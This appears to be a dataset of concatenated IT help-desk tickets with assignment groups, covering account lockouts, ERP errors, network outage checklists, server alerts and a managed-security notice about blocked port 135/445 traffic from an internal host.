6. backup circuit active ? \_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to sign in to collaboration\_platform, Description: unable to sign in to collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: hr\_tooldcvcgenratn, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: hr\_tooldcvcgenratn at 08/12/16 17:02:29, is assigned to Assignment group: GRP\_6.Ticket with Short description: analysis for office issue, Description: \_x000D\_
\_x000D\_
received from: nlearzwi.ukdzstwi@gmail.com\_x000D\_
\_x000D\_
this has been happening every time i try to filter by customer number in bex or hana. i am using both systems, primarily hana otc\_billings\_all, but i think the issue is regarding the client.\_x000D\_
\_x000D\_
i have tried filtering by copying and pasting and also by importing a text file with the same result.\_x000D\_
\_x000D\_
any idea how to fix this error? i can't find the log file it references. , is assigned to Assignment group: GRP\_9.Ticket with Short description: phone display, Description: from: judi elituytt \_x000D\_
sent: saturday, august 13, 2016 12:06 am\_x000D\_
to: nmzfdlar whzbrusx; -facility; nwfodmhc exurcwkm\_x000D\_
subject: amar re: phone display\_x000D\_
\_x000D\_
hi johthryu â€“ we are forwarding your request to the help desk. it help desk is the contact for any phone issues. , is assigned to Assignment group: GRP\_37.Ticket with Short description: termination for cyxieuwk rekwlqmu, 00064847, Description: hello , \_x000D\_
\_x000D\_
a termination for cyxieuwk rekwlqmu, 11175958, effective 07/02/2016 has been approved.\_x000D\_
\_x000D\_
click the link to view.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: HostName\_1289: account is locked, Description: HostName\_1289: account is locked.. please unlock the account.\_x000D\_
username: hq4nopr , is assigned to Assignment group: GRP\_2.Ticket with Short description: security incidents - ( #in33578632) : suspicious ms-rpc/ms-ds/netbios activity - HostName\_17, Description: source ip :\_x000D\_
system name :\_x000D\_
user name:\_x000D\_
location :\_x000D\_
sep , sms status :\_x000D\_
field sales user ( yes / no) : \_x000D\_
dsw event log:see below\_x000D\_
=========================================\_x000D\_
\_x000D\_
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incident overview\_x000D\_
=========================\_x000D\_
we have detected at least 236 occurrences of your firewall att-singapore-asa.company.com-1/54.96.80.216 dropping traffic sourcing from HostName\_17/29.26.13.3095 and destined to port 135 of one or more destination devices. this activity may indicate one of the following:\_x000D\_
1. an infection on this host\_x000D\_
2. a misconfigured firewall\_x000D\_
3. a misconfigured host\_x000D\_
4. port scan (authorized or unauthorized)\_x000D\_
\_x000D\_
we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . \_x000D\_
\_x000D\_
1) ticket only escalation for these alerts where the traffic was blocked (explicit notification via a medium priority ticket (no phone call))\_x000D\_
2) automatically resolve these alerts where the traffic was blocked to the portal (no explicit notification but events will be available for reporting purposes in the portal)\_x000D\_
\_x000D\_
sincerely,\_x000D\_
secureworks soc\_x000D\_
\_x000D\_
=========================\_x000D\_
technical details\_x000D\_
=========================\_x000D\_
historically, there have been various worms/malware that have used ports 135, 137, 138, 139, and 445 to propagate. examples include:\_x000D\_
-w32.blaster.worm/msblast/lovsan \_x000D\_
-w32.welchia/nachi\_x000D\_
-w32.reatle\_x000D\_
\_x000D\_
port 135 - microsoft epmap (end point mapper), also known as dce/rpc locator service\_x000D\_
\_x000D\_
port 137 - netbios netbios name service\_x000D\_
\_x000D\_
port 138 - netbios netbios datagramdnty service\_x000D\_
\_x000D\_
port 139 - netbios netbios session service\_x000D\_
\_x000D\_
port 445 - microsoft-ds smb file sharing\_x000D\_
\_x000D\_
additional information on these ports and best practices can be found at the following sites:\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
=========================\_x000D\_
references\_x000D\_
=========================\_x000D\_
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=========================\_x000D\_
event data\_x000D\_
=========================\_x000D\_
related events: \_x000D\_
event id: 91557862\_x000D\_
event summary: internal outbreak for 135/tcp\_x000D\_
occurrence count: 236\_x000D\_
event count: 2\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 29.26.13.3095\_x000D\_
source hostname: HostName\_17\_x000D\_
source port: 58280\_x000D\_
destination port: 135\_x000D\_
connection directionality: internal\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 54.96.80.216\_x000D\_
device name: att-singapore-asa.company.com-1\_x000D\_
log time: 2016-08-11 at 19:45:48 utc\_x000D\_
action: blocked\_x000D\_
cvss score: -1 \_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 537074\_x000D\_
inspector rule id: 186739\_x000D\_
inspector event id: 877942065\_x000D\_
ontology id: 200020003203009162\_x000D\_
event type id: 200020003203009062\_x000D\_
agent id: 103955\_x000D\_
\_x000D\_
event detail:\_x000D\_
aug 1sartlgeo lhqksbdx9:45:48 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58280 dst outside:192.168.254.10/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:45:51 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/58285 to 10.59.24.137/135 flags syn on interface inside\_x000D\_
aug 1sartlgeo lhqksbdx9:45:51 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58286 dst outside:192.168.54.59/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:45:51 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58287 dst outside:192.168.1.100/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:45:54 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58291 dst outside:192.168.1.87/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:45:56 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58293 dst outside:192.168.0.108/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:45:57 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/58297 to 10.106.15.23/135 flags syn on interface inside\_x000D\_
aug 1sartlgeo lhqksbdx9:46:02 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58304 dst outside:192.168.88.104/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:46:28 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58330 dst outside:192.168.21.253/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:46:28 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58331 dst outside:192.168.1.182/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:46:29 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58333 dst outside:192.168.0.109/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:46:31 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58337 dst outside:192.168.43.163/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:46:34 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58343 dst outside:192.168.43.140/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:46:36 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58347 dst outside:217.168.208.218/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:46:40 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58357 dst outside:192.168.1.13/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:46:42 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58363 dst outside:192.168.0.103/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
event id: 91557863\_x000D\_
event summary: internal outbreak for 135/tcp\_x000D\_
occurrence count: 236\_x000D\_
event count: 2\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 29.26.13.3095\_x000D\_
source hostname: HostName\_17\_x000D\_
source port: 58280\_x000D\_
destination port: 135\_x000D\_
connection directionality: internal\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 54.96.80.216\_x000D\_
device name: att-singapore-asa.company.com-1\_x000D\_
log time: 2016-08-11 at 19:45:48 utc\_x000D\_
action: blocked\_x000D\_
cvss score: -1 \_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 537074\_x000D\_
inspector rule id: 186739\_x000D\_
inspector event id: 877942065\_x000D\_
ontology id: 200020003203009162\_x000D\_
event type id: 200020003203009062\_x000D\_
agent id: 103955\_x000D\_
\_x000D\_
event detail:\_x000D\_
aug 1sartlgeo lhqksbdx9:45:53 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58288 dst outside:192.168.54.59/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:45:53 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58289 dst outside:192.168.1.100/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:45:56 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58292 dst outside:192.168.1.87/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:45:57 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58296 dst outside:192.168.0.108/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:46:02 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/58303 to 10.33.53.207/445 flags syn on interface inside\_x000D\_
aug 1sartlgeo lhqksbdx9:46:04 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58305 dst outside:192.168.88.104/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:46:12 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/58316 to 10.59.24.137/445 flags syn on interface inside\_x000D\_
aug 1sartlgeo lhqksbdx9:46:18 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/58319 to 10.106.15.23/445 flags syn on interface inside\_x000D\_
aug 1sartlgeo lhqksbdx9:46:29 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58332 dst outside:192.168.21.253/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:46:30 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58334 dst outside:192.168.1.182/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:46:31 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58336 dst outside:192.168.0.109/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:46:33 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58340 dst outside:192.168.43.163/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:46:35 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58345 dst outside:192.168.43.140/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:46:38 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58351 dst outside:217.168.208.218/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:46:41 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58360 dst outside:192.168.1.13/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 1sartlgeo lhqksbdx9:46:43 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58365 dst outside:192.168.0.103/445 by access-group "acl\_inside" [0x0, 0x0], is assigned to Assignment group: GRP\_2.Ticket with Short description: unlock account email in cell phone the users cfgxpvzi dvpnfbrc, recsynqt byoezmla and alexandre pinto, Description: hello team,
could you please unlock account email in cell phone the users cfgxpvzi dvpnfbrc, recsynqt byoezmla and alexandfrre pintfgtyo
recsynqt.byoezmla@gmail.com id:vertiayhtu
cfgxpvzi.dvpnfbrc@gmail.com id:russoddfac
nmcxfrij.hgaxtqmy@gmail.com id:pintoddsa
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to submit timecard today, Description: unable to submit timecard today, is assigned to Assignment group: GRP\_0.Ticket with Short description: delete blancog (olifgtmpio gargtcia blagtnco), Description: olifgtmpio gargtcia blagtnco does not working for company anymore since october 2013. i do not know why there is still active ad account for him.
please delete that account as soon as possible as well any other system accounts for blancog (olifgtmpio gargtcia blagtnco).
, is assigned to Assignment group: GRP\_2.Ticket with Short description: HostName\_1015: average (4 samples) disk free on m:\ is now 15%, which is below the warning threshold (15%) , Description: HostName\_1015: average (4 samples) disk free on m:\ is now 15%, which is below the warning threshold (15%) out of total size 139.4 gb since 02:29pm et on 08/12.\_x000D\_
HostName\_1015:average (4 samples) disk free on c:\ is now 15%, which is below the warning threshold (15%) out of total size 100.5 gb, is assigned to Assignment group: GRP\_12.Ticket with Short description: HostName\_236: internal error: unable to find any processes. since 07:49am et on 08/12, Description: HostName\_236: internal error: unable to find any processes., is assigned to Assignment group: GRP\_60.Ticket with Short description: HostName\_1132: robot is inactive,swap memory usage, unable to find any processes, probe processes failed to start are down., Description: HostName\_1132: robot HostName\_1132 is inactive..\_x000D\_
HostName\_1132:average (5 samples) swap memory usage is now 99.98%, which is above the error threshold (95%)\_x000D\_
HostName\_1132: average (5 samples) memory usage is now 97%, which is above the error threshold (95%)\_x000D\_
HostName\_1132: internal error: unable to find any processes.\_x000D\_
HostName\_1132: probe 'processes' failed to start (command = processes.exe) error = (1450) insufficient system resources exist to complete the requested service. , is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to connect to wireless, Description: unable to connect to wireless, is assigned to Assignment group: GRP\_0.Ticket with Short description: account unlock ybplwrez.lqcyehbf@gmail.com, Description: account unlock ybplwrez.lqcyehbf@gmail.com, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_1918b, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1918b at 08/12/16 13:12:25, is assigned to Assignment group: GRP\_6.Ticket with Short description: ticket update on ticket\_no0430054, Description: ticket update on ticket\_no0430054, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log into my reporting\_engineering\_tools, Description: unable to log into my reporting\_engineering\_tools, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update for danghtnuell, Description: from: rakthyesh ramdntythanjesh
sent: friday, august 12, 2016 10:16 pm
to: bxtqducs zuhoylts
cc: pvbomqht smfkuhwi
subject: inc1538753-telephony\_software is missing from pc
dear cegtcil,
danghtnuell contacted service desk for assistance on telephony\_software issue, kindly assist user on same.
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to view desktop items or folders, Description: unable to view desktop items or folders, is assigned to Assignment group: GRP\_0.Ticket with Short description: when customer service enters an order for acct #81523266 they get the error sales office not valid for flat rate, Description: this is a company account with sales office = fmw1. on 6/18/16, the shipping conditions was updated to 10 (ground) and the default carrier to tupsgrnd\_x000D\_
\_x000D\_
bob lewicki requested that i entered a ticket. his comments : "i believe that some logic for restricting sales offices was added so that infrastructure would not try to use flat rate, but usa should definitely not be on there. i have copied prishry and rabhtui for input. in the meantime can you please enter a ticket to get it corrected, i believe that it should be able to be adjusted in a table", is assigned to Assignment group: GRP\_13.Ticket with Short description: orders from plant\_74 & cpp/tm warehouse will not release. need fixed urgently, Description:
need urgent help! see attached document. example order 35804825 says shipping/receiving pt missing. erp is not recognizing these plants, getting error when trying to add plant\_74 as ship/rec plant. i have checked plant\_76 & plant\_78 also, same problem. , is assigned to Assignment group: GRP\_18.Ticket with Short description: changed laptop and need my phone activated through this pc, Description: please help me log into my phone system using my changed laptop. , is assigned to Assignment group: GRP\_7.Ticket with Short description: enable access to erp code cv04n to view the drawing., Description: enable access to erp code cv04n to view the drawing., is assigned to Assignment group: GRP\_0.Ticket with Short description: crm issue, Description:
received from: kpnzvsuw.lwmqyjbv@gmail.com
hello
i do not have access to the "forcast to plan" dashbankrd in crm. see attached screenshot.
markhty dale
sales engineer, illinois (nc3)
kpnzvsuw.lwmqyjbv@gmail.com<mailto:kpnzvsuw.lwmqyjbv@gmail.com>
, is assigned to Assignment group: GRP\_22.Ticket with Short description: access request to engineering\_tools, Description: access request to engineering\_tools, is assigned to Assignment group: GRP\_25.Ticket with Short description: requesting access to s:mgmt drive, Description: \_x000D\_
\_x000D\_
received from: odfimpjg.ptfoiake@gmail.com\_x000D\_
\_x000D\_
good morning:\_x000D\_
requesting access to the above file.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to access emails from company ipad, Description: unable to access emails from company ipad, is assigned to Assignment group: GRP\_0.Ticket with Short description: user unable to log in to outlook, Description: user unable to log in to outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to collaboration\_platform, Description: unable to login to collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype audio issues, Description:
received from: qwijaspo.ukynmfig@gmail.com
dear it,
i continue to have skype audio issues. i am unable to hear skype calls through my tablet. when i call in, specifically when i dial into my directors call in number, i hear every third word. i have had this issue before and had an it tech fix the issue, i will need this done again. why does this continue to be an issue?
qwijaspo ukynmfig
sales manager - west coast
qwijaspo.ukynmfig@gmail.com<mailto:qwijaspo.ukynmfig@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_770:average (4 samples) disk free on g:\ is now 8%, Description: HostName\_770:average (4 samples) disk free on g:\ is now 8%, which is below the warning threshold (15%) out of total size 200.0 gb, is assigned to Assignment group: GRP\_12.Ticket with Short description: engineering tool doesn't work, Description: engineering tool doesn't work, is assigned to Assignment group: GRP\_62.Ticket with Short description: network outage:russia - warehouse:site is down since at 9:24 am et on 08/12.no backup , Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_9:24 am et on 08/12\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: the pc projector in einstein conf room is not working, it is on but getting no video on the screen., Description: the pc projector in einstein conf room is not working, it is on but getting no video on the screen., is assigned to Assignment group: GRP\_3.Ticket with Short description: unable to create delivery for material mm 7150506 against so 35689265 l20. material completed 11-aug., Description: please assign to erp supply\_chain team. apo and ecc systems require synchronization so that a delivery can be created. material is needed to ship today, 12-august., is assigned to Assignment group: GRP\_6.Ticket with Short description: company mails on mobile phone, Description: \_x000D\_
\_x000D\_
received from: ctuodmai.vguwqjtd@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
pl let me know the process to install and start the access of official mail in my smart phone.\_x000D\_
phone details as below.\_x000D\_
\_x000D\_
make: oppo\_x000D\_
build number: x9009ex\_11\_a.19\_160711\_x000D\_
imei 1 : 869770024432450\_x000D\_
imei 2 : 869770024432443\_x000D\_
\_x000D\_
duel sim mobile.\_x000D\_
\_x000D\_
pl let me know any other details needed.\_x000D\_
\_x000D\_
\_x000D\_
à²•à³ƒà²¤à²œà³à²žà²¤à³†à²—à²³à³ / , is assigned to Assignment group: GRP\_0.Ticket with Short description: impact awards//password reset, Description: impact awards//password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage:usa refinery - (company):site is hard down since at 9:58 am et on 08/12.no backup circuit., Description: what type of outage: \_x\_\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_9:58 am et on 08/12\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: replace internal speakers on e7350 due to crackling issue, Description: replace internal speakers on e7350 due to crackling issue, is assigned to Assignment group: GRP\_3.Ticket with Short description: material posting on production order does not balance requirement quantity on order, does not post on qty withdraw, Description: in switzerland, cc 5443: we post material consumption on po 226733620, mat.post. number 5042203075. the material has been discounted in stock and batch, but not posten on the production order (does not show up in the bill of materials)
there are several orders suffering this problem. we need it solved aerp.
contact: brjkmwvo odxwcpie , is assigned to Assignment group: GRP\_45.Ticket with Short description: discounts, Description: \_x000D\_
\_x000D\_
received from: peojqgvm.qayeptuo@gmail.com\_x000D\_
\_x000D\_
i am having problems submitting a discount\_x000D\_
\_x000D\_
here is the screen shots im getting\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.jpg@01d1f475.30085b20]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image002.jpg@01d1f475.30085b20]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: dell 2in1 7350 device has not been booting despite multiple attempts for a reset or reboot, Description: dell 2in1 7350 device has not been booting despite multiple attempts for a reset or reboot\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_3.Ticket with Short description: unable to view credit card statement on ess, Description: unable to view credit card statement on ess, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp newweaver business client locked out., Description: erp newweaver business client locked out., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset., Description: erp SID\_34 password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock and password reset, Description: erp SID\_34 account unlock and password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: the computer for mii at us\_plant facility has got thrown out of company domain, Description: the computer for mii has got thrown out of company domain\_x000D\_
\_x000D\_
please contact ms. dpuifqeo eglwsfkn for further info, is assigned to Assignment group: GRP\_3.Ticket with Short description: network response time, Description: at about 8:20 am eastern daylight time, i was on a conference call with usa. the call started dropping out and the only reason i can come up with is a network bottleneck. want to prove or disprove by finding out about the network traffic levels between usa and usa and between usa and the internet during the time the call was made., is assigned to Assignment group: GRP\_4.Ticket with Short description: erp SID\_34 locked out., Description: erp SID\_34 locked out., is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update for an account lockout, Description: ticket update for an account lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to load outlook, Description: unable to load outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: urgent !! need access to all the accounts in iowa, minnesotta, south dakota within crm, Description: need access to all the accounts in iowa, minnesotta, south dakota within crm, is assigned to Assignment group: GRP\_22.Ticket with Short description: account locked, Description: account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: issue executncqulao qauighdpss programdntys in erp when working on vpn\_ \_urgent, Description: \_x000D\_
\_x000D\_
received from: rcbdyslq.zuspjbtw@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i have issue when i'm working on vpn form home.\_x000D\_
i 'm not able to run mass programdntys in erp when i'm on vpn. last weekend i had to run mass programdnty to add partners in erp but i was not able. i thought it was security issue but i checked that with security erp team.\_x000D\_
i made uacyltoe hxgaycze when i was in the office and it is working but i can't do the same at home working on vpn.\_x000D\_
\_x000D\_
\_x000D\_
please check with high priority!\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: discounts error, Description: \_x000D\_
\_x000D\_
received from: itslpwra.vybdkuoa@gmail.com\_x000D\_
\_x000D\_
[cid:image001.png@01d1f46f.7c80d460]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for yimwfntl rkdwohas on erp / production / erp, Description: while trying to log the erp part of erp fro the first time. it would not accept my password and locked me out of the system., is assigned to Assignment group: GRP\_0.Ticket with Short description: update cutview to lauacyltoe hxgaycze version, Description: update cutview to lauacyltoe hxgaycze version and adjust to current ms office installation, is assigned to Assignment group: GRP\_66.Ticket with Short description: wi-fi at msg sales not working, Description: \_x000D\_
\_x000D\_
received from: tbloeczi.gxlmeyph@gmail.com\_x000D\_
\_x000D\_
it-help desk,\_x000D\_
\_x000D\_
we are unable to connect to wi-fi at msg sales since last two/three weeks.\_x000D\_
\_x000D\_
please note, when this was in lotus discussion room, it was working fine and we could connect the same. however now after it has been shifted to msg sales about month back, we are unable to connect.\_x000D\_
please check and restore at the earliest.\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_19.Ticket with Short description: when i launch collaboration\_platform, my internet browser (ie) will not launch. others around me are experiencing the same thing., Description: when i launch collaboration\_platform, my internet browser (ie) will not launch. others around me are experiencing the same thing., is assigned to Assignment group: GRP\_3.Ticket with Short description: update installation for cutview, Description: update cutview to lauacyltoe hxgaycze version and adjust to current ms office installation, is assigned to Assignment group: GRP\_66.Ticket with Short description: unlock account email in cell phone the user luciano amadeu and zpfitlyu cemvwyso, Description: hello team,\_x000D\_
\_x000D\_
could you please unlock account email in cell phone the user luciano amadeu and zpfitlyu cemvwyso\_x000D\_
\_x000D\_
